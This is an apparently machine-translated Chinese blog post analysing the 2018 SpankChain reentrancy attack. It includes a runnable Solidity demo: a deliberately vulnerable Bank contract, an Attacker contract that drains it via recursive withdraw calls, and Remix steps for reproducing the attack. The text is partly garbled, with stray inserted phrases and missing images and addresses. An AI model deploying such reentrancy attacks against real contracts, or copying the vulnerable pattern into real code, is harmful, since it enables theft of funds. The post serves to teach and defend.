主页 > 华为怎么下载imtoken > SpankChain 重入漏洞分析

SpankChain 重入漏洞分析

华为怎么下载imtoken 2023-01-18 09:14:19

前言

10 月 8 日,区块链项目方 SpankChain 在 Medium 上发表文章,称受到攻击,导致损失 160 多个 ETH 和部分 Token。这次攻击的损失比较小,大约4万美元,但值得一提的是,这次攻击的起因与2016年闹得沸沸扬扬的TheDAO事件一模一样!总共有超过 300 万个 ETH 被盗,更严重的还间接导致了以太坊的硬分叉……

自那次事件以来,以太坊的大多数智能合约开发者都知道,当涉及到重入漏洞等严重问题时,此后重入漏洞导致资产被盗的事件很少,然而,两年后,悲剧发生了在 SpankChain 上重复。

什么是重入漏洞?

了解重入漏洞是了解这种攻击的必要知识储备,所以接下来我们将对这类漏洞进行详细的讲解,以便读者深入理解,已经了解的可以直接跳过。

在以太坊智能合约中,合约和合约可以相互调用。如果gas足够,合约和合约甚至可以循环调用,直到达到gas limit。合理,但如果循环中发生转移等敏感操作,可能会导致严重的问题。

它仍然很抽象,对吧?我们直接用代码解释一下,引用大佬的一句话。

「说话很便宜。给我看代码”

易受攻击的代码片段:

function withdraw(){
  require(msg.sender.call.value(balances[msg.sender])());
  balances[msg.sender]=0;
}

以上是提现功能的最简化版本。这个功能大部分是在钱包合约和去中心化交易所等合约中实现的。目的是让用户“退出”。这里的提现是指在智能合约系统中进行代币的交换。变成通用以太币。

漏洞分析:

前面说过,合约和合约之间可以循环调用,只要循环需要的gas不超过gas上限,使用call to Transferring可以使用更多的gas,这就是以太坊。

但是在上面的代码片段中存在一个致命的问题:在使用呼叫转移之前,用户的代币余额没有被重置为零。在这个周期内,攻击者的账户一直处于余额状态。

这会导致什么问题?

正如我们在上一章中提到的,在向智能合约转账时会触发智能合约的回退功能。如果收到支付的智能合约在fallback函数中再次调用对方的withdraw函数,就会进行循环调用。

如图所示,漏洞合约会继续向攻击者合约转账,直到循环结束(有限循环,以太坊的gas限制不允许无限循环)才会将用户的token余额重置为零。

使用 DEMO 调试和重现:

contract Bank{
    mapping (address => uint256) public balances;
    function wallet() constant returns(uint256 result){
        return this.balance;
    }
    function recharge() payable{
        balances[msg.sender]+=msg.value;
    }
    function withdraw(){
        require(msg.sender.call.value(balances[msg.sender])());
        balances[msg.sender]=0;
    }
}
contract Attacker{
    address public bankAddr;
    uint attackCount = 0;
    constructor(address _bank){
        bankAddr = _bank;
    }
    function attack() payable{
        attackCount = 0;
        Bank bank = Bank(bankAddr);
        bank.recharge.value(msg.value)();
        bank.withdraw();
    }
    function () payable{
        if(msg.sender==bankAddr&&attackCount<5){
            attackCount+=1;
            Bank bank = Bank(bankAddr);
            bank.withdraw();
        }
    }
    function wallet() constant returns(uint256 result){
        return this.balance;
    }
}

本文提供复现DEMO,将以上代码复制到remix IDE即可复现,对重入漏洞有很好的理解。

第一步是使用remix账户列表中的第一个账户来扮演受害者部署exploit合约并将一些ether存入exploit合约。

如图,作者在银行合约中充值了500wei ether,也就是漏洞合约。

第二步,使用remix账号列表中的第二个账号扮演攻击者的角色,部署攻击者合约。

部署攻击者合约需要填写银行合约地址。按如下按钮复制地址,然后点击Deploy按钮进行部署:

Picture.png 第三步部署后,在value中填写要充值到银行合约的金额,然后点击攻击功能盗取5倍的以太币。这是因为为了防止超过gas限制,攻击者合约的fallback函数限制了循环调用的5次。

这里我们充值了 10wei 以太币来攻击银行合约。执行攻击函数后,我们通过查看攻击者合约的余额来推断是否使用成功。

查看钱包,可以看到合约的钱包余额为60,正好是充值金额的5倍。

SpankChain 重入漏洞分析

有了上面的基础知识,理解起来会比较容易。我们先做一个总结:重入漏洞的原因是没有进行传输,最根本的原因是在操作之前进行了状态改变操作,在操作之后进行了状态改变操作。也就是说,在类似“提现”的操作中,转账只能是最后一步要执行的操作。

接下来我们要列出几个重要的线索:

SpankChain 支付通道合约:

攻击地址:

攻击者的恶意合约地址:

攻击者恶意合约发起的攻击交易:

根据以上线索,很容易分析。我们先来看发起攻击的交易:图片.png

可以看出,攻击者先将5 ETH转入自己部署的恶意合约,再通过恶意合约将5 ETH转入SpankChain的支付通道合约,最后将支付通道合约转出32次5 ETH 转入其恶意合约,恶意合约将总额 32*5=160 ETH 转入攻击者账户。

我们来看看攻击者的具体操作:

可以看到以太坊归零事件,攻击者首先调用了支付通道合约的createChannel函数并转移了5 ETH,然后循环调用了支付通道合约的LCOpenTimeou函数,不断获取ETH,每次调用都获得了5 ETH,一个总共 32 次调用。

我们来看看这两个函数的具体代码,先看createChannel函数:

为了方便读者,我们对函数的每一行进行了注释。简而言之,此功能用于创建“安全支付通道”。原则是先将要转入的资金存入支付通道合约,然后在规定时间内收到款项。可以收到付款,发起人可以在指定时间之后撤回转账。支付通道合约相当于一个转账担保角色。

再看LCOpenTimeou函数:

这个功能相当于提现功能,但是这个支付通道中的意思是转账超时提现是指该通道已经超过其开放时间,发起人有权撤回转账。具体漏洞请参考红框内的代码和注释。简而言之以太坊归零事件,就是在发起传输之后进行状态改变操作。重入漏洞。

虽然迁移后状态更新了,但是上面的代码很难重入。看第一个红框内的代码,因为没有用到这个函数中的ETH转账。 call.value 是使用的传输。使用transfer只能消耗2300 GAS,不能构成重入。这也是 SpankChain 和 TheDAO 的区别。

看第二个红框,里面调用了token的传递函数,token是可以被攻击者控制的。调用代币合约的转账功能将没有2300 GAS的限制!因此,攻击者可以在自己部署的恶意代币合约的transfer函数中调用支付通道合约的LCOpenTimeou函数,形成可重入循环……

解决方案

最根本的解决方案 计划是在迁移之前将所有应该更改的状态提前更新,而不是在迁移之后更新。我希望这件事能防止 TheDAO 悲剧再次发生。